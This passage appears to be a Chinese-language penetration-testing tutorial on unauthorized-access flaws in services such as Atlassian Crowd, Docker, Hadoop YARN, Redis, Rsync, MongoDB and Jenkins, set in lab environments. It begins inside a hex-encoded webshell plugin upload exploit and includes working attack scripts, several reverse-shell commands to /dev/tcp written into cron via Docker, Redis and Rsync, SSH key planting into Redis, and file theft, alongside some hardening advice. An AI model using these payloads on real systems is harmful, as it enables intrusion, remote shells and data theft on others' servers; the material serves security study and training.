82bab6b922c4bf2867cd91af0a0e51bfed8d38d513b3d3a31fc8189f953ce9d8fbc619ed9fda0a36c1d71d7376cb73fca2adb563f09b938b75d8b073a1fbb96d79e3a9135d4518a6158add54a6ab5568d4a6a58af9793fcde7e14c9d2f64ee5b0d9bdbebd0befa387c77cac8ce1a0373fdd84a7c9f02cafe7984907d9a4e8a635721dee5e41f6961304412c01389b49eb8bed064110bf90747e50d11a3acecdf0bc8016a7ea286815ada1e3dc0ce304b48896d00a5a456be838374e5a0c371f0c5b66b84361b8f5602a5afbd19009e2df50c8a5a4ebfff1fcfd3f41104b0c131bad860ef37f6fa46bad9aa4ee7b0598fd10c0321163d3a5b83855aea235749c9b3e04086251bc01504b0304140000000800b57df14ef98bc46d88010000c303000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000326d22e5d57d22e5d75780b0001040000000004000000008d53c14ee33010bde72b865c702818f65cf98880130856e2c2c5eb0c8dc1898d3d2941abfe3b63d2d5a66d58ed93123933f39edf4ceca0cdab5e2118df4a533b991a746e5914b60d3e12bce8b51e64c2b87648b2210af264394d4aebe54d177a7aa088ba6566e87f396bc0389d12e010f821ecea34a775cdaf873100bf8b02185bfadadb1a6a7f85242645f7f8d6632288f8760a3bf1147c979013a96225d882e2c7e42b836dda6e05a6add5b8946bed7abc7d16ac295748773aea1609a328b9a8acaae51cdff7c43dabb2dccd9e9fb381acf2186d96a8e47b5e7c492946098bbcf59ee6a1cb0cfb0ce2888b25f7ac5d12257b9929cbb88bde204f3ba8fbbe23db62b6b05db2071cd088c36dff60f2fb725f2a64f62428fe8387318ebccb187dfc37cf7604461d3f5d1ccfe7df1beb1084308add4856aa05777ea4e0ecc77703c8989fbc308d8e95f9c6cae620ba1bd980d1641a7139180c647dc78779cec3781c16aa7ceaca050e92fc784ef647f0577d46795f1865600d9e305fd19f511b9caa8d4a9ba2d8149f504b03041400000008005a7ff14e3ac5f9ef48030000fa05000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c61737355540900033bd52e5da8d32e5d75780b0001040000000004000000008d54db76d34614dde3d81e451171e2244ddd0b1428e00041bdd094da14682040dae084385c02f4a2c8d3202a4b8a2ca7693fa38f7de9639e793197aed50fe897f417fad2748f708a936641bcb4ce191d9db3cf3e7b3cf3e73fcfff007016ae8971940d4c0ce0244e99388d490367b4b74d7c800fb5f9c8c4c738abcd2726a6f0e900cee13313155425ce4b7c6ea280b236170c5c3431884bfae5925e7d21312d7159207fde0bbce482405f79e2b640f672d8500285392f50b5767345c54bce8acf48ae115e5389c06279ee91b3ee6cd82d15affb2ab11f2649645fa7a9bf082caab5b66a25d5d7a6b5a23068a9aaee7aa09e38ee0f379c286d9652bb2231237155e29ac4758e2360d6c376ecaaab9ea663a88de88cee60e14d94c8de6d36586461165fb2ccc257981380851ba849cc5b58c04d0b8ba813d0c2126e59b88d5b84b6700777d9cbc232ee49dcb7f0005f0b8c686cdb7782557b66c35551e28581c0f8cb683d89bd6075baedf90d155bf806df0a08d3c27720a5154d69d80d9bb6dbf0edd643e5fb36090b1c7cb52802c7f625aec0f1fda92b30b49b3289bd0c2dc4a1ab5aaded79bdd09e0da276c24ce53405ac55952c38b1d354898ad9f4c5def7a25527fe1f1290eb8edf56f3dfef2a995f79a4dc64ef923c27737c3219dbabe2de0ed68bed20f19a1cce24bfff5ec6cabdc0dd3091b36a43b902275e43be2b050b0689ba4386f16de49dfa745367e2388cb753b3748df430cd0af4f3eb9dd84bb5ebc55860f3ee876a8ff43d619eb71ff58280e5597d42f24e14a980c893fbda83eeff92e846126eeffb68794fe50b91ee9b9ec0a5d871150ee30dde3dfa9781d0c78bf62dbebd4bcf3385dcc927108fb910789b369f06b57d274d61aa28b3b49fd19f4f1533cfd097c153646bc55c253b59cc7590ff15e79e424e766054722506fa2b79edcc8aec9b324af90e0696a78ccc6f289e7e068b3b6bfcd2c181cdadbf3671b492fb1d85e527182a653b182e166974e9087d07a395ec268c1a81c71e93c1106ab8c9cb0e5843429f49f94e330e98bc1b06b81ae478051ce16a02c3bc538bbc4d477011a3ac2db17a1c754ab0c6d9124ed626c24f9cf22011ae20bfc5e47e894312ef491c9638923e4725dee74355b65892dbf51dfa763bf6370e6997a55ec753a14ffc0b504b01021e031400000008007c7ef14e544c2527eb00000004020000140018000000000001000000ed810000000061746c61737369616e2d706c7567696e2e786d6c55540500039bd32e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000040018000000000000001000ed4139010000636f6d2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000080018000000000000001000ed4177010000636f6d2f63646c2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a0000000000d07df14e0000000000000000000000000e0018000000000000001000ed41b9010000636f6d2f63646c2f7368656c6c2f555405000357d22e5d75780b000104000000000400000000504b01021e031400000008008878f14ec2481cb07d0100008d030000160018000000000001000000ed8101020000636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540500036fc82e5d75780b000104000000000400000000504b01021e0314000000080085b2f04ecafaf82fe500000004180000170018000000000000000000a481ce030000636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540500031add2d5d75780b000104000000000400000000504b01021e03140000000800b178f14ed0054a4648030000fa050000170018000000000000000000a48104050000636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554050003bdc82e5d75780b000104000000000400000000504b01021e0314000000080080b2f04e5e4c2ce89701000004180000110018000000000000000000a4819d080000636f6d2f63646c2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e0314000000080080b2f04e7261dc5f94010000041800000d0018000000000000000000a4817f0a0000636f6d2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e03140000000800b57df14ef98bc46d88010000c3030000160018000000000001000000a4815a0c0000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000326d22e5d75780b000104000000000400000000504b01021e031400000008005a7ff14e3ac5f9ef48030000fa050000170018000000000000000000a481320e0000636f6d2f63646c2f7368656c6c2f6578702e636c61737355540500033bd52e5d75780b000104000000000400000000504b0506000000000b000b00bf030000cb11000000000d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561372d2d0d0a"data = s.decode("hex")r = requests.post(url=url_vuln, headers=headers, data=data, verify=False)if r.status_code ==200 and "Installed" in r.content:printprint r.contentgetwebshell(url)else:print "No Exit!"
def getwebshell(url):webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami"r = requests.get(webshell_url, verify=False)if r.status_code==200:print ">>>Get Webshell\n"print webshell_url+'\n'print "Exec command= whoami\n\nResult= %s"%r.textif __name__ == '__main__':url = sys.argv[1]is_url(url)
[root@localhost CVE-2019-11580-master]# python CVE-2019-11580.py http://192.168.32.183:8095_______ ________ ___ ___ __ ___ __ __ _____ ___ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____|/ _ \ / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____ \ / | |____ / /_| |_| || | / / | || |___) | (_) | |_| |\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ \___/ \___/ python CVE-2019-11580.py http://xx.xx.xx.xxhttp://192.168.32.183:8095/crowd/admin/uploadplugin.actionInstalled plugin /opt/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-7114709723171005763rce.jar>>>Get Webshellhttp://192.168.32.183:8095/crowd/plugins/servlet/exp?cmd=whoamiExec command= whoamiResult= root
然后訪問獲取的shell地址,無需認證登錄即可獲取IP地址。
clickhouse 未授權訪問漏洞
漏洞描述
惡意攻擊者可以在不提供有效憑據的情況下訪問 ClickHouse 服務器。這可能導致未經授權的訪問敏感數據,或允許攻擊者修改或刪除數據。默認情況下,clickhouse-server會在8123端口上監控HTTP請求(這可以在配置中修改)。
環境搭建
sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \/etc/apt/sources.list.d/clickhouse.list
sudo apt-get updatesudo apt-get install -y clickhouse-server clickhouse-clientsudo service clickhouse-server start
clickhouse-client
漏洞復現
首先確定是否使用了 ClickHouse 數據庫的接口
curl http://192.168.0.5:8123
根據文檔得知,正常返回為 Ok. , 且存在 X-ClickHouse-Summary
作為返回包的 Header
測試是否可以執行SQL命令, 部分會開啟身份驗證導致未授權執行失敗
/?query=SHOW%20DATABASES
成功執行語句獲取數據,執行其他命令探測出網
http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;
可以查看 system庫中的執行記錄表來獲取最近執行的所有SQL語句來快速定位可利用的信息(獲取敏感用戶信息,數據庫名以及數據表名)
CouchDB未授權訪問漏洞
漏洞描述
CouchDB因配置不當可以未授權訪問,被攻擊者惡意利用。
攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意清空所有數據。
漏洞搭建
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md
使用docker-compose啟動。
cd couchdb/CVE-2017-12636/
docker-compose up -d
漏洞利用
訪問5984端口,就可以看到版本信息。
訪問/_config
接口,可以看到couchDB配置信息。
Docker未授權訪問漏洞
漏洞描述
惡意攻擊者可以在未經授權的情況下訪問 Docker 服務器或容器。這可能導致敏感數據泄露,或允許攻擊者執行未經授權的操作,如添加、修改或刪除容器。
環境搭建
安裝docker
yum install -y docker
修改/usr/lib/systemd/system/docker.service
服務,啟動API接口。
ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
重啟docker服務。
systemctl daemon-reload
systemctl restart docker
漏洞復現
輸入ip:2375/version
就會列出基本信息,和docker version命令效果一樣。
利用docker容器寫定時任務反彈shell
我們可以利用未授權訪問的docker remote api 開啟一個容器并掛載至根目錄,由此我們可以獲得任意讀寫的權限,然后我們再將反彈shell命令寫入定時任務crontab中,即可使宿主機反彈shell。
[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh
寫入定時計劃
/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root
安全加固
在不必需的情況下,不要啟用docker的remote api服務,如果必須使用的話,可以采用如下的加固方式:
設置ACL,僅允許信任的來源IP連接;
設置TLS認證,官方的文檔為Protect the Docker daemon socket
客戶端與服務器端通訊的證書生成后,可以通過以下命令啟動docker daemon:
docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
客戶端連接時需要設置以下環境變量
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
druid 監控頁未授權訪問漏洞
漏洞簡介
Druid是阿里巴巴數據庫出品的,為監控而生的數據庫連接池,并且Druid提供的監控功能,監控SQL的執行時間、監控Web URI的請求、Session監控,首先Druid是不存在什么漏洞的。但當開發者配置不當時就可能造成未授權訪問.
環境搭建
pom.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.3</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>demo</artifactId><version>0.0.1-SNAPSHOT</version><name>demo</name><description>Demo project for Spring Boot</description><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.1</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>3.1.0</version></plugin></plugins></build></project>
application.properties
配置
#數據庫連接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123##啟用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true#啟用內置的監控頁面
spring.datasource.druid.stat-view-servlet.enabled=true
漏洞復現
直接訪問druid/index.html
。
可以通過session功能進行偽造用戶進行登錄
修復方法
禁用durid
application.properties
配置
spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false
設置鑒權
#設置登錄用戶名
spring.datasource.druid.stat-view-servlet.login-username=admin
#設置登錄密碼
spring.datasource.druid.stat-view-servlet.login-password=123
修改路徑
##內置監控頁面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*
Dubbo 未授權訪問漏洞
漏洞簡介
Dubbo是阿里巴巴公司開源的一個高性能優秀的 服務框架,使得應用可通過高性能的 RPC 實現服務的輸 出和輸入功能,可以和 Spring框架無縫集成。dubbo 因配置不當導致未授權訪問漏洞。
環境搭建
git clone https://github.com/alibaba/dubbo/tree/2.5.x
進入dubbo-2.5.x 目錄
執行mvn clean package -Dmaven.test.skip=true
會生成如下結果
在dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target
目錄會發現生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz
,解壓這個文件夾
查看配置文件,會看到dubbo協議端口為7070
[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log
啟動dubbo
[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh
漏洞利用
nc連接7070
端口,7070端口允許您執行各種管理任務,如查看注冊表的狀態、列出可用服務和查看注冊表的日志級別。
[root@localhost dubbo-monitor-simple-2.5.10]# nc 127.0.0.1 7070
ls
com.alibaba.dubbo.monitor.MonitorService
dubbo>help
Please input "help [command]" show detail.status [-l] - Show status.pwd - Print working default service.trace [service] [method] [times] - Trace the service.exit - Exit the telnet.help [command] - Show help.invoke [service.]method(args) - Invoke the service method.count [service] [method] [times] - Count the service.clear [lines] - Clear screen.ls [-l] [service] - List services and methods.log level - Change log level or show log ps [-l] [port] - Print server ports and connections.cd [service] - Change default service.
dubbo>status
OK
dubbo>pwd
/
如果服務具有命令執行功能,則使用 “invoke” 命令可能會執行命令,因為 “invoke” 命令用于調用特定的服務方法。
Hadoop YARN resourcemanager 未授權訪問漏洞
漏洞描述
負責對資源進行同一管理調度的ReasourceManager組件的UI管理界面開放在8080/8088端口,攻擊者無需認證即可通過REST API部署任務來執行任意命令,最終可完全控制集群中所有的機器。
環境搭建
使用vulhub
[root@localhost ~]# ls /opt/vulhub-master/hadoop/unauthorized-yarn/
docker-compose.yml exploit.py README.md[root@localhost ~]# docker-compose up
訪問8088端口,可以看到Hadoop YARN ResourceManager WebUI界面。
漏洞利用
啟動nc
[root@localhost ~]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
攻擊腳本
[root@localhost unauthorized-yarn]# cat exploit.py
#!/usr/bin/env pythonimport requeststarget = 'http://127.0.0.1:8088/'
lhost = '192.168.32.131' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)
成功攻擊成功
Hadoop Yarn RPC未授權訪問漏洞
漏洞簡述
Hadoop Yarn作為Hadoop核心組件之一,負責將資源分配至各個集群中運行各種應用程序,并調度不同集群節點上的任務執行。Hadoop Yarn默認對外開放RPC服務,攻擊者可利用RPC服務執行任意命令,控制服務器。
同時由于Hadoop Yarn RPC服務訪問控制機制開啟方式與REST API不一樣,因此即使在 REST API有授權認證的情況下,RPC服務所在端口仍然可以未授權訪問。
環境搭建
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
需要修改docker-compose.yml,添加8032端口映射。
curl請求8032端口。
[root@localhost tmp]# curl http://192.168.32.183:8032
It looks like you are making an HTTP request to a Hadoop IPC port. This is not the correct port for the web interface on this daemon.
漏洞利用
EXP:https://github.com/cckuailong/YarnRpcRCE
[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "curl 0dccw6.dnslog.cn"
log4j:WARN No appenders could be found for logger (org.apache.hadoop.util.Shell).
log4j:WARN Please initialize the log4j system properly.
log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info.
查看日志
反彈shell
[root@localhost YarnRpcRCE-master]# java -jar YarnRpcUnauth.jar 192.168.32.183:8032 "bash -i >& /dev/tcp/192.168.32.183/9999 0>&1"
成功建立連接
[root@localhost tmp]# nc -lvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 172.19.0.5.
Ncat: Connection from 172.19.0.5:59812.
bash: cannot set terminal process group (271): Inappropriate ioctl for device
bash: no job control in this shell
<00863_0003/container_1658816800863_0003_01_000001# whoami
whoami
root
<00863_0003/container_1658816800863_0003_01_000001#
漏洞修復
- Apache Hadoop官方建議用戶開啟Kerberos認證。
- 設置 Hadoop RPC服務所在端口僅對可信地址開放。
- 建議升級并啟用Kerberos的認證功能,阻止未經授權的訪問。
InfluxDB API 未授權訪問漏洞
JBoss未授權訪問漏洞
漏洞描述
JBoss 是一個管理 EJB 的容器和服務器,支持 EJB 1.1、EJB 2.0 和 EJB3 的規范。但 JBoss 核心服務不包括支持 servlet/JSP 的 WEB 容器,一般與 Tomcat 或 Jetty 綁定使用。JBoss 默認在 8080 端口監聽。
在低版本的 JBoss 中,默認可以訪問 JBoss Web 控制臺(http://IP:8080/jmx-console),無需用戶名和密碼。通過 JBoss 未授權訪問管理控制臺的漏洞,可以進行后臺服務管理,可以通過腳本命令執行系統命令,如反彈 shell、wget 寫 Webshell 文件。
環境搭建
這里用CVE-2017-7504的漏洞環境,啟動環境
[root@localhost CVE-2017-7504]# docker-compose up
瀏覽器訪問8080端口
漏洞復現
發現jboss默認頁面,點擊進入控制頁
假設是未授權訪問的話,點擊JMX-Console
不會提示輸入用戶名、密碼,而這個地方用的是別的漏洞的環境,用戶名密碼都是admin、admin,所以就假裝是不用輸入用戶名密碼的
往下找jboss.deployment進入應用部署頁面
進入應用部署頁面后,下滑找到void addURL()
,這里ParamValue
部分填寫遠程服務器上的木馬的地址。
訪問iceword
路徑,就可以看到webshell
Jenkins未授權訪問漏洞
漏洞描述
部署Jenkins 1.62版本,將全局授權策略打開,目前新版本的Jenkins已默認需要用戶登錄,但老版的中默認配置是"任意用戶可以做任何事",存在未授權訪問的問題。
環境搭建
選擇1.62版本進行下載,http://archives.jenkins-ci.org/war-stable/1.625.1/jenkins.war
將WAR包丟到tomcat的webapps里面,啟動tomcat
漏洞復現
進入管理頁面:http://192.168.32.131:8080/jenkins/manage
進入腳本命令行,后綴輸入script進入腳本命令行,輸入:println "ls".execute().text
,就可以執行ls
命令。
Jupyter Notebook 未授權訪問漏洞
漏洞描述
Jupyter Notebook(此前被稱為 IPython notebook)是一個交互式筆記本,支持運行 40 多種編程語言。
如果管理員未為 Jupyter Notebook 配置密碼,將導致未授權訪問漏洞,游客可在其中創建一個 console 并執行任意 Python 代碼和命令。
環境搭建
version: '2'
services:web:image: vulhub/jupyter-notebook:5.2.2command: start-notebook.sh --NotebookApp.token=''ports:- "8888:8888"
運行后,訪問 http://your-ip:8888
將看到 Jupyter Notebook 的 Web 管理界面,并沒有要求填寫密碼。
漏洞復現
選擇 new -> terminal 即可創建一個控制臺:
直接執行任意命令:
MongoDB未授權訪問漏洞
漏洞描述
啟動MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,登錄的用戶可以通過默認端口無需密碼對數據庫任意操作(增刪改高危動作)而且可以遠程訪問數據庫。
環境搭建
docker下載mongo鏡像
docker run -it -p 27017:27017 mongo
漏洞復現
cli執行
┌──(root💀kali)-[~]
└─# mongo 192.168.32.131
MongoDB shell version v5.3.1
connecting to: mongodb://192.168.32.131:27017/test?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("c7ddf3c3-2fbc-4b5a-b9a4-91dfce9703a2") }
MongoDB server version: 5.0.8
WARNING: shell and server versions do not match> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
msf執行
msf6 > use auxiliary/scanner/mongodb/mongodb_login
msf6 auxiliary(scanner/mongodb/mongodb_login) > set rhosts 192.168.32.131
rhosts => 192.168.32.131
msf6 auxiliary(scanner/mongodb/mongodb_login) > run[*] 192.168.32.131:27017 - Scanning IP: 192.168.32.131
[+] 192.168.32.131:27017 - Mongo server 192.168.32.131 doesn't use authentication
[*] 192.168.32.131:27017 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
修復建議
(1).新建管理賬戶開啟MongoDB授權
新建終端[參數默認可以不加,若有自定義參數,才要加上,下同]
mongod --port 27017 --dbpath /data/db1
另起一個終端,運行下列命令
use admindb.createUser({user: "adminUser",pwd: "adminPass",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]})
管理員創建成功,現在擁有了用戶管理員 用戶名:adminUser
密碼:adminPass
(2).本地訪問
bind 127.0.0.1
(3).修改默認端口
修改默認的mongoDB端口(默認為: TCP 27017)為其他端口
(4).禁用HTTP和REST端口
MongoDB自身帶有一個HTTP服務和并支持REST接口。在2.6以后這些接口默認是關閉的。mongoDB默認會使用默認端口監聽web服務,一般不需要通過web方式進行遠程管理,建議禁用。修改配置文件或在啟動的時候選擇–nohttpinterface 參數nohttpinterface = false
(5).開啟日志審計功能
審計功能可以用來記錄用戶對數據庫的所有相關操作。這些記錄可以讓系統管理員在需要的時候分析數據庫在什么時段發生了什么事情
(6).開啟auth認證
/etc/mongodb.conf
auth = true
NFS未授權訪問漏洞
漏洞描述
NFS(Network File System)是一種網絡文件系統,允許在不同的網絡主機上共享文件。當NFS服務器未正確配置或缺少訪問控制機制時,可能存在未授權訪問漏洞。攻擊者可以利用此漏洞訪問受影響主機上的文件和數據,甚至可以修改或刪除敏感信息。
環境搭建
# 安裝nfs服務
yum install nfs-utils.x86_64 -y# 啟動服務
systemctl start nfs-server.service# 設置開機自啟
systemctl enable rpcbind.service
systemctl enable nfs-server.service# 配置nfs
vim /etc/exports/ *(rw,sync,no_root_squash)# 啟動共享
exportfs -r
漏洞利用
查看共享
[root@localhost tmp]# showmount -e
Export list for localhost.localdomain:
/ *
客戶端掛載命令
mkdir /tmp/test
mount -t nfs 192.168.32.183:/ /tmp/test
掃描nfs
[root@localhost tmp]# rpcinfo -p 192.168.32.183program vers proto port service100000 4 tcp 111 portmapper100000 3 tcp 111 portmapper100000 2 tcp 111 portmapper100000 4 udp 111 portmapper100000 3 udp 111 portmapper100000 2 udp 111 portmapper100005 1 udp 20048 mountd100005 1 tcp 20048 mountd100005 2 udp 20048 mountd100024 1 udp 38880 status100005 2 tcp 20048 mountd100024 1 tcp 60551 status100005 3 udp 20048 mountd100005 3 tcp 20048 mountd100003 3 tcp 2049 nfs100003 4 tcp 2049 nfs100227 3 tcp 2049 nfs_acl100003 3 udp 2049 nfs100003 4 udp 2049 nfs100227 3 udp 2049 nfs_acl100021 1 udp 48592 nlockmgr100021 3 udp 48592 nlockmgr100021 4 udp 48592 nlockmgr100021 1 tcp 42350 nlockmgr100021 3 tcp 42350 nlockmgr100021 4 tcp 42350 nlockmgr
查看掛載的目錄,會出現所有的/目錄下的文件
ls /tmp/test/
RabbitMQ 未授權訪問漏洞
漏洞描述
RabbitMQ未授權訪問漏洞是指在沒有安全驗證的情況下,攻擊者可以通過網絡訪問RabbitMQ服務器,獲取或修改數據、執行命令等。
Redis未授權訪問漏洞
簡介
redis是一個開源的存儲系統,支持數據的持久化存儲、支持key-value、list、set等數據結構存儲,支持備份。
但若redis存在未授權訪問,就會導致攻擊者可以無需認證就能訪問redis內部資源,獲取敏感文件,甚至執行flushall清空數據,給root賬戶寫入ssh公鑰直接遠程登錄目的服務器。
環境搭建
wget https://download.redis.io/releases/redis-5.0.14.tar.gz
tar xvf redis-5.0.14.tar.gz
cd redis-5.0.14
make -j 4
make install
直接運行redis-server
redis-server --protected-mode no
漏洞復現
root@l-virtual-machine:/opt# redis-cli -h 192.168.32.141
192.168.32.141:6379> keys *
(empty array)
SSH私鑰訪問
$ ssh-keygen -t rsa
$ (echo -e " "; cat /root/.ssh/id_rsa.pub; echo -e " ") > foo.txt
$ cat foo.txt | redis-cli -h 192.168.32.141 -x set test
$ redis-cli -h 192.168.32.141
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
反彈shell
此方法在ubuntu中因無法忽略亂碼導致失敗
#shell.sh
echo -e "\n\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.32.141/9999 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
Rsync未授權訪問漏洞
漏洞描述
Rsync
是Linux
下一款數據備份工具,支持通過rsync
協議、ssh
協議進行遠程文件傳輸。常被用于在內網進行源代碼的分發及同步更新,因此使用人群多為開發人員。其中rsync
協議默認監聽873
端口,而一般開發人員安全意識薄弱的情況下,如果目標開啟了rsync
服務,并且沒有配置ACL
或訪問密碼,我們將可以讀寫目標服務器文件。
環境搭建
rsyncd.conf
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log[src]
path = /
comment = src path
read only = no
啟動rsync
rsync --no-detach --daemon --config /etc/rsyncd.conf
漏洞利用
環境啟動后,我們用rsync命令訪問之:
[root@localhost tmp]# rsync rsync://192.168.32.183:873/
src src path
查看src
目錄
[root@localhost tmp]# rsync rsync://192.168.32.183:873/
src src path
You have new mail in /var/spool/mail/root
[root@localhost tmp]# rsync rsync://192.168.32.183:873/src
drwxr-xr-x 28 2022/07/26 03:45:11 .
-rwxr-xr-x 0 2022/07/26 03:45:11 .dockerenv
-rwxr-xr-x 101 2022/05/19 09:45:03 docker-entrypoint.sh
drwxr-xr-x 6 2018/01/21 13:42:04 bin
drwxr-xr-x 6 2017/07/13 09:01:05 boot
drwxr-xr-x 6 2022/07/26 03:45:11 data
drwxr-xr-x 340 2022/07/26 03:45:11 dev
drwxr-xr-x 66 2022/07/26 03:45:11 etc
drwxr-xr-x 6 2017/07/13 09:01:05 home
drwxr-xr-x 21 2018/01/21 13:42:05 lib
drwxr-xr-x 34 2017/10/08 20:00:00 lib64
drwxr-xr-x 6 2017/10/08 20:00:00 media
drwxr-xr-x 6 2017/10/08 20:00:00 mnt
drwxr-xr-x 6 2017/10/08 20:00:00 opt
dr-xr-xr-x 0 2022/07/26 03:45:11 proc
drwx------ 37 2017/10/08 20:00:00 root
drwxr-xr-x 80 2022/07/26 03:48:12 run
drwxr-xr-x 4,096 2017/10/08 20:00:00 sbin
drwxr-xr-x 6 2017/10/08 20:00:00 srv
dr-xr-xr-x 0 2022/07/25 22:41:55 sys
drwxrwxrwt 6 2022/07/26 03:44:41 tmp
drwxr-xr-x 42 2017/10/08 20:00:00 usr
drwxr-xr-x 17 2017/10/08 20:00:00 var
這是一個Linux根目錄,我們可以下載任意文件:
[root@localhost tmp]# rsync -av rsync://192.168.32.183:873/src/etc/passwd ./
receiving incremental file list
passwdsent 43 bytes received 1,283 bytes 2,652.00 bytes/sec
total size is 1,197 speedup is 0.90
或者寫入定時計劃:
echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/9999 0>&1' >> shell
[root@localhost tmp]# rsync -av shell rsync://192.168.32.183:873/src/etc/cron.d/root
sending incremental file list
